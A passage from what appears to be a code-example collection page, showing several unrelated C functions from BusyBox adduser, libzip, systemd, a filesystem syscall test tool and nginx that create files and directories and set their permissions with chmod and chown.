      fprintf (outfp, ARMAG AR_SYMBOL_TABLE_NAME "%-12d%-6d%-6d%-8d%-10d" ARFMAG, (int) time (NULL), 0, 0, 0, symtab_size);

      if (symtab_size & 1)
        {
          pad = 1;
          ++symtab_size;
        }
      else
        pad = 0;

      symtab_size += SARMAG + ARHDR_LEN;

      sputl (nsym, buf);
      fwrite (buf, 1, sizeof (buf), outfp);

      for (symp = symlist; symp; symp = symp->next)
        {
          sputl (symp->offset + symtab_size, buf);
          fwrite (buf, 1, sizeof (buf), outfp);
        }

      for (symp = symlist; symp; symp = symp->next)
        {
          fputs (symp->name, outfp);
          putc ('\0', outfp);
        }

      if (pad)
        putc ('\n', outfp);

      fseek (infp, first_member_offset, SEEK_SET);

      while (EOF != (pad = getc (infp)))
        putc (pad, outfp);

      fclose (outfp);

      if (0 != fstat(fileno(infp), &stat_buf))
        {
          fprintf (stderr, "asranlib: can't stat %s: ", archive);
          perror (NULL);
          can_stat = 0;
        }
      else
        can_stat = 1;

      fclose (infp);

      if (0 != remove (archive))
        {
          fprintf (stderr, "asranlib: can't remove %s: ", archive);
          perror (NULL);
        }
      else if (0 != rename (tmpfile, archive))
        {
          fprintf (stderr, "asranlib: can't rename %s to %s: ", tmpfile, archive);
          perror (NULL);
        }
      else if (!can_stat || 0 != chmod (archive, stat_buf.st_mode))
        {
          fprintf (stderr, "asranlib: can't chmod %s: ", archive);
          perror (NULL);
        }
    }
  else
    fclose (infp);
}
Exemplo n.º 24
0
int adduser_main(int argc UNUSED_PARAM, char **argv)
{
	struct passwd pw;
	const char *usegroup = NULL;
	char *p;
	unsigned opts;

#if ENABLE_FEATURE_ADDUSER_LONG_OPTIONS
	applet_long_options = adduser_longopts;
#endif

	/* got root? */
	if (geteuid()) {
		bb_error_msg_and_die(bb_msg_perm_denied_are_you_root);
	}

	pw.pw_gecos = (char *)"Linux User,,,";
	/* We assume that newly created users "inherit" root's shell setting */
	pw.pw_shell = (char *)get_shell_name();
	pw.pw_dir = NULL;

	/* at least one and at most two non-option args */
	/* disable interactive passwd for system accounts */
	opt_complementary = "-1:?2:SD:u+";
	if (sizeof(pw.pw_uid) == sizeof(int)) {
		opts = getopt32(argv, "h:g:s:G:DSHu:", &pw.pw_dir, &pw.pw_gecos, &pw.pw_shell, &usegroup, &pw.pw_uid);
	} else {
		unsigned uid;
		opts = getopt32(argv, "h:g:s:G:DSHu:", &pw.pw_dir, &pw.pw_gecos, &pw.pw_shell, &usegroup, &uid);
		if (opts & OPT_UID) {
			pw.pw_uid = uid;
		}
	}
	argv += optind;
	pw.pw_name = argv[0];

	if (!opts && argv[1]) {
		/* if called with two non-option arguments, adduser
		 * will add an existing user to an existing group.
		 */
		return addgroup_wrapper(&pw, argv[1]);
	}

	/* fill in the passwd struct */
	die_if_bad_username(pw.pw_name);
	if (!pw.pw_dir) {
		/* create string for $HOME if not specified already */
		pw.pw_dir = xasprintf("/home/%s", argv[0]);
	}
	pw.pw_passwd = (char *)"x";
	if (opts & OPT_SYSTEM_ACCOUNT) {
		if (!usegroup) {
			usegroup = "nogroup";
		}
		if (!(opts & OPT_SHELL)) {
			pw.pw_shell = (char *) "/bin/false";
		}
	}
	pw.pw_gid = usegroup ? xgroup2gid(usegroup) : -1; /* exits on failure */

	/* make sure everything is kosher and setup uid && maybe gid */
	passwd_study(&pw);

	p = xasprintf("x:%u:%u:%s:%s:%s",
			(unsigned) pw.pw_uid, (unsigned) pw.pw_gid,
			pw.pw_gecos, pw.pw_dir, pw.pw_shell);
	if (update_passwd(bb_path_passwd_file, pw.pw_name, p, NULL) < 0) {
		return EXIT_FAILURE;
	}
	if (ENABLE_FEATURE_CLEAN_UP)
		free(p);
#if ENABLE_FEATURE_SHADOWPASSWDS
	/* /etc/shadow fields:
	 * 1. username
	 * 2. encrypted password
	 * 3. last password change (unix date (unix time/24*60*60))
	 * 4. minimum days required between password changes
	 * 5. maximum days password is valid
	 * 6. days before password is to expire that user is warned
	 * 7. days after password expires that account is disabled
	 * 8. unix date when login expires (i.e. when it may no longer be used)
	 */
	/* fields:     2 3  4 5     6 78 */
	p = xasprintf("!:%u:0:99999:7:::", (unsigned)(time(NULL)) / (24*60*60));
	/* ignore errors: if file is missing we suppose admin doesn't want it */
	update_passwd(bb_path_shadow_file, pw.pw_name, p, NULL);
	if (ENABLE_FEATURE_CLEAN_UP)
		free(p);
#endif

	/* add to group */
	addgroup_wrapper(&pw, usegroup);

	/* clear the umask for this process so it doesn't
	 * screw up the permissions on the mkdir and chown. */
	umask(0);
	if (!(opts & OPT_DONT_MAKE_HOME)) {
		/* set the owner and group so it is owned by the new user,
		 * then fix up the permissions to 2755. Can't do it before
		 * since chown will clear the setgid bit */
		int mkdir_err = mkdir(pw.pw_dir, 0755);
		if (mkdir_err == 0) {
			/* New home. Copy /etc/skel to it */
			const char *args[] = {
				"chown",
				"-R",
				xasprintf("%u:%u", (int)pw.pw_uid, (int)pw.pw_gid),
				pw.pw_dir,
				NULL
			};
			/* Be silent on any errors (like: no /etc/skel) */
			logmode = LOGMODE_NONE;
			copy_file("/etc/skel", pw.pw_dir, FILEUTILS_RECUR);
			logmode = LOGMODE_STDIO;
			chown_main(4, (char**)args);
		}
		if ((mkdir_err != 0 && errno != EEXIST)
		 || chown(pw.pw_dir, pw.pw_uid, pw.pw_gid) != 0
		 || chmod(pw.pw_dir, 02755) != 0 /* set setgid bit on homedir */
		) {
			bb_simple_perror_msg(pw.pw_dir);
		}
	}

	if (!(opts & OPT_DONT_SET_PASS)) {
		/* interactively set passwd */
		passwd_wrapper(pw.pw_name);
	}

	return EXIT_SUCCESS;
}
Exemplo n.º 25
0
static zip_int64_t
read_file(void *state, void *data, zip_uint64_t len, zip_source_cmd_t cmd)
{
    struct read_file *ctx;
    char *buf;
    zip_uint64_t n;
    size_t i;

    ctx = (struct read_file *)state;
    buf = (char *)data;

    switch (cmd) {
        case ZIP_SOURCE_BEGIN_WRITE:
            if (ctx->fname == NULL) {
                zip_error_set(&ctx->error, ZIP_ER_OPNOTSUPP, 0);
                return -1;
            }
            return create_temp_output(ctx);
            
        case ZIP_SOURCE_COMMIT_WRITE: {
	    mode_t mask;

            if (fclose(ctx->fout) < 0) {
                ctx->fout = NULL;
                zip_error_set(&ctx->error, ZIP_ER_WRITE, errno);
            }
            ctx->fout = NULL;
            if (rename(ctx->tmpname, ctx->fname) < 0) {
                zip_error_set(&ctx->error, ZIP_ER_RENAME, errno);
                return -1;
            }
	    mask = umask(022);
	    umask(mask);
	    /* not much we can do if chmod fails except make the whole commit fail */
	    (void)chmod(ctx->fname, 0666&~mask);
	    free(ctx->tmpname);
	    ctx->tmpname = NULL;
            return 0;
	}
            
        case ZIP_SOURCE_CLOSE:
            if (ctx->fname) {
                fclose(ctx->f);
                ctx->f = NULL;
            }
            return 0;
            
        case ZIP_SOURCE_ERROR:
            return zip_error_to_data(&ctx->error, data, len);
            
        case ZIP_SOURCE_FREE:
            free(ctx->fname);
	    free(ctx->tmpname);
            if (ctx->f)
                fclose(ctx->f);
            free(ctx);
            return 0;
            
        case ZIP_SOURCE_OPEN:
            if (ctx->fname) {
                if ((ctx->f=fopen(ctx->fname, "rb")) == NULL) {
                    zip_error_set(&ctx->error, ZIP_ER_OPEN, errno);
                    return -1;
                }
            }
            
            if (ctx->start > 0) {
                if (_zip_fseek_u(ctx->f, ctx->start, SEEK_SET, &ctx->error) < 0) {
                    return -1;
                }
            }
            ctx->current = ctx->start;
            return 0;
            
        case ZIP_SOURCE_READ:
            if (ctx->end > 0) {
                n = ctx->end-ctx->current;
                if (n > len) {
                    n = len;
                }
            }
            else {
                n = len;
            }
            
            if (n > SIZE_MAX)
                n = SIZE_MAX;

            if ((i=fread(buf, 1, (size_t)n, ctx->f)) == 0) {
                if (ferror(ctx->f)) {
                    zip_error_set(&ctx->error, ZIP_ER_READ, errno);
                    return -1;
                }
            }
            ctx->current += i;

            return (zip_int64_t)i;
            
        case ZIP_SOURCE_REMOVE:
            if (remove(ctx->fname) < 0) {
                zip_error_set(&ctx->error, ZIP_ER_REMOVE, errno);
                return -1;
            }
            return 0;
            
        case ZIP_SOURCE_ROLLBACK_WRITE:
            if (ctx->fout) {
                fclose(ctx->fout);
                ctx->fout = NULL;
            }
            (void)remove(ctx->tmpname);
	    free(ctx->tmpname);
            ctx->tmpname = NULL;
            return 0;
	
        case ZIP_SOURCE_SEEK: {
            zip_int64_t new_current;
            int need_seek;
	    zip_source_args_seek_t *args = ZIP_SOURCE_GET_ARGS(zip_source_args_seek_t, data, len, &ctx->error);

	    if (args == NULL)
		return -1;
            
            need_seek = 1;
            
            switch (args->whence) {
                case SEEK_SET:
                    new_current = args->offset;
                    break;
                    
                case SEEK_END:
                    if (ctx->end == 0) {
                        if (_zip_fseek(ctx->f, args->offset, SEEK_END, &ctx->error) < 0) {
                            return -1;
                        }
                        if ((new_current = ftello(ctx->f)) < 0) {
                            zip_error_set(&ctx->error, ZIP_ER_SEEK, errno);
                            return -1;
                        }
                        need_seek = 0;
                    }
                    else {
                        new_current = (zip_int64_t)ctx->end + args->offset;
                    }
                    break;
                case SEEK_CUR:
                    new_current = (zip_int64_t)ctx->current + args->offset;
                    break;

                default:
                    zip_error_set(&ctx->error, ZIP_ER_INVAL, 0);
                    return -1;
            }

            if (new_current < 0 || (zip_uint64_t)new_current < ctx->start || (ctx->end != 0 && (zip_uint64_t)new_current > ctx->end)) {
                zip_error_set(&ctx->error, ZIP_ER_INVAL, 0);
                return -1;
            }
            
            ctx->current = (zip_uint64_t)new_current;

            if (need_seek) {
                if (_zip_fseek_u(ctx->f, ctx->current, SEEK_SET, &ctx->error) < 0) {
                    return -1;
                }
            }
            return 0;
        }
            
        case ZIP_SOURCE_SEEK_WRITE: {
            zip_source_args_seek_t *args;
            
            args = ZIP_SOURCE_GET_ARGS(zip_source_args_seek_t, data, len, &ctx->error);
            if (args == NULL) {
                return -1;
            }
            
            if (_zip_fseek(ctx->fout, args->offset, args->whence, &ctx->error) < 0) {
                return -1;
            }
            return 0;
        }

        case ZIP_SOURCE_STAT: {
	    if (len < sizeof(ctx->st))
		return -1;

	    if (ctx->st.valid != 0)
		memcpy(data, &ctx->st, sizeof(ctx->st));
	    else {
		zip_stat_t *st;
		struct stat fst;
		int err;
	    
		if (ctx->f)
		    err = fstat(fileno(ctx->f), &fst);
		else
		    err = stat(ctx->fname, &fst);

		if (err != 0) {
                    zip_error_set(&ctx->error, ZIP_ER_READ, errno);
		    return -1;
		}

		st = (zip_stat_t *)data;
		
		zip_stat_init(st);
		st->mtime = fst.st_mtime;
		st->valid |= ZIP_STAT_MTIME;
		if (ctx->end != 0) {
                    st->size = ctx->end - ctx->start;
		    st->valid |= ZIP_STAT_SIZE;
		}
		else if ((fst.st_mode&S_IFMT) == S_IFREG) {
		    st->size = (zip_uint64_t)fst.st_size;
		    st->valid |= ZIP_STAT_SIZE;
		}
	    }
	    return sizeof(ctx->st);
	}

        case ZIP_SOURCE_SUPPORTS:
	    return ctx->supports;
            
        case ZIP_SOURCE_TELL:
            return (zip_int64_t)ctx->current;
            
        case ZIP_SOURCE_TELL_WRITE:
        {
            off_t ret = ftello(ctx->fout);
            
            if (ret < 0) {
                zip_error_set(&ctx->error, ZIP_ER_TELL, errno);
                return -1;
            }
            return ret;
        }
            
        case ZIP_SOURCE_WRITE:
        {
            size_t ret;
            
	    clearerr(ctx->fout);
            ret = fwrite(data, 1, len, ctx->fout);
            if (ret != len || ferror(ctx->fout)) {
                zip_error_set(&ctx->error, ZIP_ER_WRITE, errno);
                return -1;
            }
            
            return (zip_int64_t)ret;
        }

        default:
            zip_error_set(&ctx->error, ZIP_ER_OPNOTSUPP, 0);
            return -1;
    }
}
Exemplo n.º 26
0
int setup_machine_directory(uint64_t size, sd_bus_error *error) {
        _cleanup_release_lock_file_ LockFile lock_file = LOCK_FILE_INIT;
        struct loop_info64 info = {
                .lo_flags = LO_FLAGS_AUTOCLEAR,
        };
        _cleanup_close_ int fd = -1, control = -1, loop = -1;
        _cleanup_free_ char* loopdev = NULL;
        char tmpdir[] = "/tmp/machine-pool.XXXXXX", *mntdir = NULL;
        bool tmpdir_made = false, mntdir_made = false, mntdir_mounted = false;
        char buf[FORMAT_BYTES_MAX];
        int r, nr = -1;

        /* btrfs cannot handle file systems < 16M, hence use this as minimum */
        if (size == (uint64_t) -1)
                size = VAR_LIB_MACHINES_SIZE_START;
        else if (size < 16*1024*1024)
                size = 16*1024*1024;

        /* Make sure we only set the directory up once at a time */
        r = make_lock_file("/run/systemd/machines.lock", LOCK_EX, &lock_file);
        if (r < 0)
                return r;

        r = check_btrfs();
        if (r < 0)
                return sd_bus_error_set_errnof(error, r, "Failed to determine whether /var/lib/machines is located on btrfs: %m");
        if (r > 0) {
                (void) btrfs_subvol_make_label("/var/lib/machines");

                r = btrfs_quota_enable("/var/lib/machines", true);
                if (r < 0)
                        log_warning_errno(r, "Failed to enable quota for /var/lib/machines, ignoring: %m");

                r = btrfs_subvol_auto_qgroup("/var/lib/machines", 0, true);
                if (r < 0)
                        log_warning_errno(r, "Failed to set up default quota hierarchy for /var/lib/machines, ignoring: %m");

                return 1;
        }

        if (path_is_mount_point("/var/lib/machines", NULL, AT_SYMLINK_FOLLOW) > 0) {
                log_debug("/var/lib/machines is already a mount point, not creating loopback file for it.");
                return 0;
        }

        r = dir_is_populated("/var/lib/machines");
        if (r < 0 && r != -ENOENT)
                return r;
        if (r > 0) {
                log_debug("/var/log/machines is already populated, not creating loopback file for it.");
                return 0;
        }

        r = mkfs_exists("btrfs");
        if (r == 0)
                return sd_bus_error_set_errnof(error, ENOENT, "Cannot set up /var/lib/machines, mkfs.btrfs is missing");
        if (r < 0)
                return r;

        fd = setup_machine_raw(size, error);
        if (fd < 0)
                return fd;

        control = open("/dev/loop-control", O_RDWR|O_CLOEXEC|O_NOCTTY|O_NONBLOCK);
        if (control < 0)
                return sd_bus_error_set_errnof(error, errno, "Failed to open /dev/loop-control: %m");

        nr = ioctl(control, LOOP_CTL_GET_FREE);
        if (nr < 0)
                return sd_bus_error_set_errnof(error, errno, "Failed to allocate loop device: %m");

        if (asprintf(&loopdev, "/dev/loop%i", nr) < 0) {
                r = -ENOMEM;
                goto fail;
        }

        loop = open(loopdev, O_CLOEXEC|O_RDWR|O_NOCTTY|O_NONBLOCK);
        if (loop < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to open loopback device: %m");
                goto fail;
        }

        if (ioctl(loop, LOOP_SET_FD, fd) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to bind loopback device: %m");
                goto fail;
        }

        if (ioctl(loop, LOOP_SET_STATUS64, &info) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to enable auto-clear for loopback device: %m");
                goto fail;
        }

        /* We need to make sure the new /var/lib/machines directory
         * has an access mode of 0700 at the time it is first made
         * available. mkfs will create it with 0755 however. Hence,
         * let's mount the directory into an inaccessible directory
         * below /tmp first, fix the access mode, and move it to the
         * public place then. */

        if (!mkdtemp(tmpdir)) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to create temporary mount parent directory: %m");
                goto fail;
        }
        tmpdir_made = true;

        mntdir = strjoina(tmpdir, "/mnt");
        if (mkdir(mntdir, 0700) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to create temporary mount directory: %m");
                goto fail;
        }
        mntdir_made = true;

        if (mount(loopdev, mntdir, "btrfs", 0, NULL) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to mount loopback device: %m");
                goto fail;
        }
        mntdir_mounted = true;

        r = btrfs_quota_enable(mntdir, true);
        if (r < 0)
                log_warning_errno(r, "Failed to enable quota, ignoring: %m");

        r = btrfs_subvol_auto_qgroup(mntdir, 0, true);
        if (r < 0)
                log_warning_errno(r, "Failed to set up default quota hierarchy, ignoring: %m");

        if (chmod(mntdir, 0700) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to fix owner: %m");
                goto fail;
        }

        (void) mkdir_p_label("/var/lib/machines", 0700);

        if (mount(mntdir, "/var/lib/machines", NULL, MS_BIND, NULL) < 0) {
                r = sd_bus_error_set_errnof(error, errno, "Failed to mount directory into right place: %m");
                goto fail;
        }

        (void) syncfs(fd);

        log_info("Set up /var/lib/machines as btrfs loopback file system of size %s mounted on /var/lib/machines.raw.", format_bytes(buf, sizeof(buf), size));

        (void) umount2(mntdir, MNT_DETACH);
        (void) rmdir(mntdir);
        (void) rmdir(tmpdir);

        return 1;

fail:
        if (mntdir_mounted)
                (void) umount2(mntdir, MNT_DETACH);

        if (mntdir_made)
                (void) rmdir(mntdir);
        if (tmpdir_made)
                (void) rmdir(tmpdir);

        if (loop >= 0) {
                (void) ioctl(loop, LOOP_CLR_FD);
                loop = safe_close(loop);
        }

        if (control >= 0 && nr >= 0)
                (void) ioctl(control, LOOP_CTL_REMOVE, nr);

        return r;
}
Exemplo n.º 27
0
static unsigned int
call_syscall(struct syscall_desc *scall, char *argv[])
{
	struct stat64 sb;
	long long flags;
	unsigned int i;
	char *endp;
	int name, rval;
	union {
		char *str;
		long long num;
	} args[MAX_ARGS];
#ifdef HAS_FREEBSD_ACL
	int entry_id = ACL_FIRST_ENTRY;
	acl_t acl, newacl;
	acl_entry_t entry, newentry;
#endif

	/*
	 * Verify correctness of the arguments.
	 */
	for (i = 0; i < sizeof(args)/sizeof(args[0]); i++) {
		if (scall->sd_args[i] == TYPE_NONE) {
			if (argv[i] == NULL || strcmp(argv[i], ":") == 0)
				break;
			fprintf(stderr, "too many arguments [%s]\n", argv[i]);
			exit(1);
		} else {
			if (argv[i] == NULL || strcmp(argv[i], ":") == 0) {
				if (scall->sd_args[i] & TYPE_OPTIONAL)
					break;
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			if ((scall->sd_args[i] & TYPE_MASK) == TYPE_STRING) {
				if (strcmp(argv[i], "NULL") == 0)
					args[i].str = NULL;
				else if (strcmp(argv[i], "DEADCODE") == 0)
					args[i].str = (void *)0xdeadc0de;
				else
					args[i].str = argv[i];
			} else if ((scall->sd_args[i] & TYPE_MASK) ==
			    TYPE_NUMBER) {
				args[i].num = strtoll(argv[i], &endp, 0);
				if (*endp != '\0' &&
				    !isspace((unsigned char)*endp)) {
					fprintf(stderr,
					    "invalid argument %u, number expected [%s]\n",
					    i, endp);
					exit(1);
				}
			} else if ((scall->sd_args[i] & TYPE_MASK) ==
			    TYPE_DESCRIPTOR) {
				if (strcmp(argv[i], "AT_FDCWD") == 0) {
					args[i].num = AT_FDCWD;
				} else if (strcmp(argv[i], "BADFD") == 0) {
					/* In case AT_FDCWD is -1 on some systems... */
					if (AT_FDCWD == -1)
						args[i].num = -2;
					else
						args[i].num = -1;
				} else {
					int pos;

					pos = strtoll(argv[i], &endp, 0);
					if (*endp != '\0' &&
					    !isspace((unsigned char)*endp)) {
						fprintf(stderr,
						    "invalid argument %u, number expected [%s]\n",
						    i, endp);
						exit(1);
					}
					args[i].num = descriptor_get(pos);
				}
			}
		}
	}
	/*
	 * Call the given syscall.
	 */
#define	NUM(n)	(args[(n)].num)
#define	STR(n)	(args[(n)].str)
	switch (scall->sd_action) {
	case ACTION_OPEN:
		flags = str2flags(open_flags, STR(1));
		if (flags & O_CREAT) {
			if (i == 2) {
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			rval = open(STR(0), (int)flags, (mode_t)NUM(2));
		} else {
			if (i == 3) {
				fprintf(stderr, "too many arguments\n");
				exit(1);
			}
			rval = open(STR(0), (int)flags);
		}
		if (rval >= 0)
			descriptor_add(rval);
		break;
	case ACTION_OPENAT:
		flags = str2flags(open_flags, STR(2));
		if (flags & O_CREAT) {
			if (i == 3) {
				fprintf(stderr, "too few arguments\n");
				exit(1);
			}
			rval = openat(NUM(0), STR(1), (int)flags,
			    (mode_t)NUM(3));
		} else {
			if (i == 4) {
				fprintf(stderr, "too many arguments\n");
				exit(1);
			}
			rval = openat(NUM(0), STR(1), (int)flags);
		}
		if (rval >= 0)
			descriptor_add(rval);
		break;
	case ACTION_CREATE:
		rval = open(STR(0), O_CREAT | O_EXCL, (mode_t)NUM(1));
		if (rval >= 0)
			close(rval);
		break;
	case ACTION_UNLINK:
		rval = unlink(STR(0));
		break;
	case ACTION_UNLINKAT:
		rval = unlinkat(NUM(0), STR(1),
		    (int)str2flags(unlinkat_flags, STR(2)));
		break;
	case ACTION_MKDIR:
		rval = mkdir(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_MKDIRAT:
		rval = mkdirat(NUM(0), STR(1), (mode_t)NUM(2));
		break;
	case ACTION_RMDIR:
		rval = rmdir(STR(0));
		break;
	case ACTION_LINK:
		rval = link(STR(0), STR(1));
		break;
	case ACTION_LINKAT:
		rval = linkat(NUM(0), STR(1), NUM(2), STR(3),
		    (int)str2flags(linkat_flags, STR(4)));
		break;
	case ACTION_SYMLINK:
		rval = symlink(STR(0), STR(1));
		break;
	case ACTION_SYMLINKAT:
		rval = symlinkat(STR(0), NUM(1), STR(2));
		break;
	case ACTION_RENAME:
		rval = rename(STR(0), STR(1));
		break;
	case ACTION_RENAMEAT:
		rval = renameat(NUM(0), STR(1), NUM(2), STR(3));
		break;
	case ACTION_MKFIFO:
		rval = mkfifo(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_MKFIFOAT:
		rval = mkfifoat(NUM(0), STR(1), (mode_t)NUM(2));
		break;
	case ACTION_MKNOD:
	case ACTION_MKNODAT:
	    {
		mode_t ntype;
		dev_t dev;
		int fa;

		switch (scall->sd_action) {
		case ACTION_MKNOD:
			fa = 0;
			break;
		case ACTION_MKNODAT:
			fa = 1;
			break;
		default:
			abort();
		}

		dev = makedev(NUM(fa + 3), NUM(fa + 4));
		if (strcmp(STR(fa + 1), "c") == 0)	/* character device */
			ntype = S_IFCHR;
		else if (strcmp(STR(fa + 1), "b") == 0)	/* block device */
			ntype = S_IFBLK;
		else if (strcmp(STR(fa + 1), "f") == 0)	/* fifo special */
			ntype = S_IFIFO;
		else if (strcmp(STR(fa + 1), "d") == 0)	/* directory */
			ntype = S_IFDIR;
		else if (strcmp(STR(fa + 1), "o") == 0)	/* regular file */
			ntype = S_IFREG;
		else {
			fprintf(stderr, "wrong argument 1\n");
			exit(1);
		}
		switch (scall->sd_action) {
		case ACTION_MKNOD:
			rval = mknod(STR(0), ntype | NUM(2), dev);
			break;
		case ACTION_MKNODAT:
			rval = mknodat(NUM(0), STR(1), ntype | NUM(3), dev);
			break;
		default:
			abort();
		}
		break;
	    }
	case ACTION_BIND:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = bind(rval, (struct sockaddr *)&sunx, sizeof(sunx));
		break;
	    }
#ifdef HAS_BINDAT
	case ACTION_BINDAT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = bindat(NUM(0), rval, (struct sockaddr *)&sunx,
		    sizeof(sunx));
		break;
	    }
#endif
	case ACTION_CONNECT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(0), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = connect(rval, (struct sockaddr *)&sunx, sizeof(sunx));
		break;
	    }
#ifdef HAS_CONNECTAT
	case ACTION_CONNECTAT:
	    {
		struct sockaddr_un sunx;

		sunx.sun_family = AF_UNIX;
		strncpy(sunx.sun_path, STR(1), sizeof(sunx.sun_path) - 1);
		sunx.sun_path[sizeof(sunx.sun_path) - 1] = '\0';
		rval = socket(AF_UNIX, SOCK_STREAM, 0);
		if (rval < 0)
			break;
		rval = connectat(NUM(0), rval, (struct sockaddr *)&sunx,
		    sizeof(sunx));
		break;
	    }
#endif
	case ACTION_CHMOD:
		rval = chmod(STR(0), (mode_t)NUM(1));
		break;
	case ACTION_FCHMOD:
		rval = fchmod(NUM(0), (mode_t)NUM(1));
		break;
#ifdef HAS_LCHMOD
	case ACTION_LCHMOD:
		rval = lchmod(STR(0), (mode_t)NUM(1));
		break;
#endif
	case ACTION_FCHMODAT:
		rval = fchmodat(NUM(0), STR(1), (mode_t)NUM(2),
		    str2flags(fchmodat_flags, STR(3)));
		break;
	case ACTION_CHOWN:
		rval = chown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_FCHOWN:
		rval = fchown(NUM(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_LCHOWN:
		rval = lchown(STR(0), (uid_t)NUM(1), (gid_t)NUM(2));
		break;
	case ACTION_FCHOWNAT:
		rval = fchownat(NUM(0), STR(1), (uid_t)NUM(2), (gid_t)NUM(3),
		    (int)str2flags(fchownat_flags, STR(4)));
		break;
#ifdef HAS_CHFLAGS
	case ACTION_CHFLAGS:
		rval = chflags(STR(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
#ifdef HAS_FCHFLAGS
	case ACTION_FCHFLAGS:
		rval = fchflags(NUM(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
#ifdef HAS_CHFLAGSAT
	case ACTION_CHFLAGSAT:
		rval = chflagsat(NUM(0), STR(1),
		    (unsigned long)str2flags(chflags_flags, STR(2)),
		    (int)str2flags(chflagsat_flags, STR(3)));
		break;
#endif
#ifdef HAS_LCHFLAGS
	case ACTION_LCHFLAGS:
		rval = lchflags(STR(0),
		    (unsigned long)str2flags(chflags_flags, STR(1)));
		break;
#endif
	case ACTION_TRUNCATE:
		rval = truncate64(STR(0), NUM(1));
		break;
	case ACTION_FTRUNCATE:
		rval = ftruncate64(NUM(0), NUM(1));
		break;
	case ACTION_STAT:
		rval = stat64(STR(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_FSTAT:
		rval = fstat64(NUM(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_LSTAT:
		rval = lstat64(STR(0), &sb);
		if (rval == 0) {
			show_stats(&sb, STR(1));
			return (i);
		}
		break;
	case ACTION_FSTATAT:
		rval = fstatat(NUM(0), STR(1), &sb,
		    (int)str2flags(fstatat_flags, STR(2)));
		if (rval == 0) {
			show_stats(&sb, STR(3));
			return (i);
		}
		break;
	case ACTION_PATHCONF:
	case ACTION_FPATHCONF:
#ifdef HAS_LPATHCONF
	case ACTION_LPATHCONF:
#endif
	    {
		long lrval;

		name = str2name(pathconf_names, STR(1));
		if (name == -1) {
			fprintf(stderr, "unknown name %s", STR(1));
			exit(1);
		}
		errno = 0;
		switch (scall->sd_action) {
		case ACTION_PATHCONF:
			lrval = pathconf(STR(0), name);
			break;
		case ACTION_FPATHCONF:
			lrval = fpathconf(NUM(0), name);
			break;
#ifdef HAS_LPATHCONF
		case ACTION_LPATHCONF:
			lrval = lpathconf(STR(0), name);
			break;
#endif
		default:
			abort();
		}
		if (lrval == -1 && errno == 0) {
			printf("unlimited\n");
			return (i);
		} else if (lrval >= 0) {
			printf("%ld\n", lrval);
			return (i);
		}
		rval = -1;
		break;
	    }
#ifdef HAS_FREEBSD_ACL
	case ACTION_PREPENDACL:
		rval = -1;

		acl = acl_get_file(STR(0), ACL_TYPE_NFS4);
		if (acl == NULL)
			break;

		newacl = acl_from_text(STR(1));
		if (acl == NULL)
			break;

		while (acl_get_entry(newacl, entry_id, &newentry) == 1) {
			entry_id = ACL_NEXT_ENTRY;

			if (acl_create_entry_np(&acl, &entry, 0))
				break;

			if (acl_copy_entry(entry, newentry))
				break;
		}

		rval = acl_set_file(STR(0), ACL_TYPE_NFS4, acl);
		break;
	case ACTION_READACL:
		acl = acl_get_file(STR(0), ACL_TYPE_NFS4);
		if (acl == NULL)
			rval = -1;
		else
			rval = 0;
		break;
#endif
	case ACTION_WRITE:
		rval = write(NUM(0), STR(1), strlen(STR(1)));
		break;
	default:
		fprintf(stderr, "unsupported syscall\n");
		exit(1);
	}
#undef STR
#undef NUM
	if (rval < 0) {
		const char *serrno;

		serrno = err2str(errno);
		fprintf(stderr, "%s returned %d\n", scall->sd_name, rval);
		printf("%s\n", serrno);
		exit(1);
	}
	printf("0\n");
	return (i);
}
Exemplo n.º 28
0
ngx_int_t
ngx_create_paths(ngx_cycle_t *cycle, ngx_uid_t user)
{
    ngx_err_t         err;
    ngx_uint_t        i;
    ngx_path_t      **path;

    path = cycle->paths.elts;
    for (i = 0; i < cycle->paths.nelts; i++) {

        if (ngx_create_dir(path[i]->name.data, 0700) == NGX_FILE_ERROR) {
            err = ngx_errno;
            if (err != NGX_EEXIST) {
                ngx_log_error(NGX_LOG_EMERG, cycle->log, err,
                              ngx_create_dir_n " \"%s\" failed",
                              path[i]->name.data);
                return NGX_ERROR;
            }
        }

        if (user == (ngx_uid_t) NGX_CONF_UNSET_UINT) {
            continue;
        }

#if !(NGX_WIN32)
        {
            ngx_file_info_t   fi;

            if (ngx_file_info((const char *) path[i]->name.data, &fi)
                    == NGX_FILE_ERROR)
            {
                ngx_log_error(NGX_LOG_EMERG, cycle->log, ngx_errno,
                              ngx_file_info_n " \"%s\" failed", path[i]->name.data);
                return NGX_ERROR;
            }

